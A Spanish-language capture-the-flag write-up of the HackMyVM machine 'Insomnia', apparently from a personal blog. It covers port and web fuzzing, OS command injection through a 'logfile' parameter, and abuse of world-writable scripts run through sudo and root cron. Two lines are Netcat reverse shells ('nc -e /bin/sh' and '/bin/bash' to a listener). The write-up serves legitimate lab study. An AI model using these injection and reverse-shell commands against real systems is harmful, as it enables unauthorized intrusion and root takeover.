cd ~/blog

~/writeups/hmv/015-insomnia.md

015 - Insomnia

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
LFI y OS Command Injection en el parámetro logfileWritable Privileged Executable File en un script ejecutado como julia mediante sudoWritable Privileged Executable File en un script de cron ejecutado por root
hackmyvm.eu/machines/machine.php?vm=Insomnia

~2 min de lectura


Enumeración de servicios

El barrido completo sólo descubre el puerto 8080. Nmap lo etiqueta genéricamente como http-proxy, por lo que continuamos tratándolo como una aplicación HTTP hasta identificar su comportamiento real:

❯ nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.22
❯ nmap -sC -sV -p8080 -oN 02-targeted.txt 192.168.1.22
Nmap scan report for 192.168.1.22
Host is up (0.00020s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE
8080/tcp open  http-proxy
MAC Address: 08:00:27:D0:A6:75 (Oracle VirtualBox virtual NIC)

Enumeración web

Enumeramos rutas PHP con Wfuzz y ocultamos las respuestas 404. Los resultados relevantes son index.php, administration.php y process.php:

❯ wfuzz -c --hc=404 -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.22:8080/FUZZ.php
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000015:   200        102 L    216 W      2899 Ch     "index"
000001763:   200        2 L      12 W       65 Ch       "administration"
000001927:   200        0 L      1 W        2 Ch        "process"
...

Fuzzeamos nombres de parámetros en administration.php usando /etc/passwd como valor. --hh 65 descarta la respuesta base y deja visible logfile:

❯ wfuzz -c --hc=404 --hh 65 -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.22:8080/administration.php\?FUZZ\=/etc/passwd
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000199160:   200        2 L      12 W       76 Ch       "logfile"

Acceso inicial mediante OS Command Injection

El parámetro logfile permite incluir archivos (LFI) y presenta OS Command Injection porque no filtra metacaracteres de shell. Tras un nombre de archivo válido añadimos ; para terminar el argumento e iniciar Netcat hacia nuestro listener.

La aplicación parece insertar logfile dentro de una orden del sistema. El punto y coma cierra la orden prevista y comienza una segunda. Mantener primero un nombre de archivo válido ayuda a superar la lógica anterior antes de alcanzar el intérprete:

❯  http://192.168.1.22:8080/administration.php?logfile=chat.txt;nc -e /bin/sh 192.168.1.10 4444

La conexión entrante pertenece a www-data y permite recuperar la primera flag.

Movimiento lateral a julia

sudo -l muestra que www-data puede ejecutar un script concreto como julia sin contraseña:

Matching Defaults entries for www-data on insomnia:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on insomnia:
    (julia) NOPASSWD: /bin/bash /var/www/html/start.sh

El archivo es propiedad de root, pero sus permisos 777 crean un caso de Writable Privileged Executable File cuyo contenido puede sustituir cualquier usuario:

❯ www-data@insomnia:/$ ls -l /var/www/html/start.sh
-rwxrwxrwx 1 root root 20 Dec 21  2020 /var/www/html/start.sh

Lo sobrescribimos con una invocación a Bash y lo ejecutamos exactamente mediante la regla permitida.

No necesitamos alterar la regla de sudo. Controlamos el contenido de la ruta ya autorizada y el intérprete /bin/bash la ejecuta con la identidad solicitada, julia:

❯ www-data@insomnia:/$ echo "/bin/bash" > /var/www/html/start.sh
❯ sudo -u julia /bin/bash /var/www/html/start.sh

Enumeración de tareas programadas

Ya como julia, analizamos .bash_history y descubrimos un script sospechoso en /var/cron. /etc/crontab confirma que root ejecuta check.sh cada minuto:

❯ julia@insomnia:/var/cron$ cat /etc/crontab
...
*  *    * * *   root    /bin/bash /var/cron/check.sh
...

El script también tiene permisos 777, de modo que julia puede modificar el código que posteriormente ejecutará root.

Aquí el disparador ya no es sudo, sino cron. Los permisos de escritura nos dan control del contenido y /etc/crontab demuestra que el intérprete será iniciado por root cada minuto:

❯ julia@insomnia:/var/cron$ ls -l /var/cron/check.sh
-rwxrwxrwx 1 root root 153 Dec 21  2020 /var/cron/check.sh

Escalada mediante el script de cron

Añadimos una reverse shell, preparamos un listener en el puerto 5555 y esperamos al siguiente ciclo de cron:

❯ julia@insomnia:/var/cron$ echo "nc -e /bin/bash 192.168.1.10 5555" >> check.sh

Las notas registran que la conexión recibida se ejecutó como root y permitió recuperar la flag final, pero no conservaron una salida de id o whoami.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados